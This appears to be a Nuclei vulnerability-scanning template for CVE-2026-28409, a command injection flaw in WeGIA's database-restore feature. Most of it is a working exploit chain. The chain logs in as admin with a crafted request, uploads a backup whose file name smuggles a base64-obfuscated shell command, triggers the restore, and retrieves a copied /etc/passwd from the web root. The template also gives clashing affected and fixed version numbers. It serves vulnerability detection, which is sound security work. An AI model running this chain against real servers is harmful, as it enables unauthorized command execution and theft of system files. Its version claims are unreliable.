Description
WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
id: CVE-2026-28409
info:
name: WeGIA <= 3.6.4 - Remote Code Execution
author: 0x_Akoko
severity: critical
description: |
WeGIA <= 3.6.5 contains a remote code execution caused by improper validation of backup file names in the database restoration functionality, letting attackers with administrative access execute arbitrary OS commands
impact: |
Attackers with admin access can execute arbitrary OS commands, potentially leading to full server compromise.
remediation: |
Upgrade to version 3.6.5 or later.
reference:
- https://cxsecurity.com/issue/WLB-2026030009
- https://github.com/LabRedesCefetRJ/WeGIA
- https://nvd.nist.gov/vuln/detail/CVE-2026-28409
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-28409
epss-score: 0.03315
epss-percentile: 0.87946
cwe-id: CWE-78
metadata:
verified: true
max-request: 4
vendor: labredescefetRJ
product: wegia
shodan-query: http.html:"WeGIA"
fofa-query: body="WeGIA"
tags: cve,cve2026,wegia,rce,vkev
variables:
filename: "{{to_lower(rand_text_alpha(8))}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
POST /WeGIA/html/login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
c=true&cpf=admin&id_pessoa=1
extractors:
- type: regex
name: session
part: header
group: 1
regex:
- 'PHPSESSID=([a-zA-Z0-9]+)'
internal: true
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
POST /WeGIA/html/configuracao/importar_dump.php HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{session}}
Content-Type: multipart/form-data; boundary=----test0boundary
------test0boundary
Content-Disposition: form-data; name="usuario"
1
------test0boundary
Content-Disposition: form-data; name="id_pessoa"
1
------test0boundary
Content-Disposition: form-data; name="import"; filename="dump;export F={{filename}};eval $(echo Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ= | base64 -d);poc.dump.tar.gz"
Content-Type: application/gzip
{{hex_decode("1f8b08000000000000030300000000000000000000")}}
------test0boundary--
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /WeGIA/html/configuracao/gerenciar_backup.php?action=restore&file=dump%3Bexport+F%3D{{filename}}%3Beval+%24%28echo+Y2F0IC9ldGMvcGFzc3dkID4gL3Zhci93d3cvaHRtbC9XZUdJQS8kRi50eHQ%3D+%7C+base64+-d%29%3Bpoc.dump.tar.gz&usuario=1&id_pessoa=1 HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID={{session}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
internal: true
- raw:
- |
GET /WeGIA/{{filename}}.txt HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a004730450220016e32389fed145de964a7a7366c20df1f557cb7202bf6077931b527d11dd9ae022100ca2b042e881b85334f2e5a90c0d27be0c63cc93b697c636b6a90eaa57d29d21b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.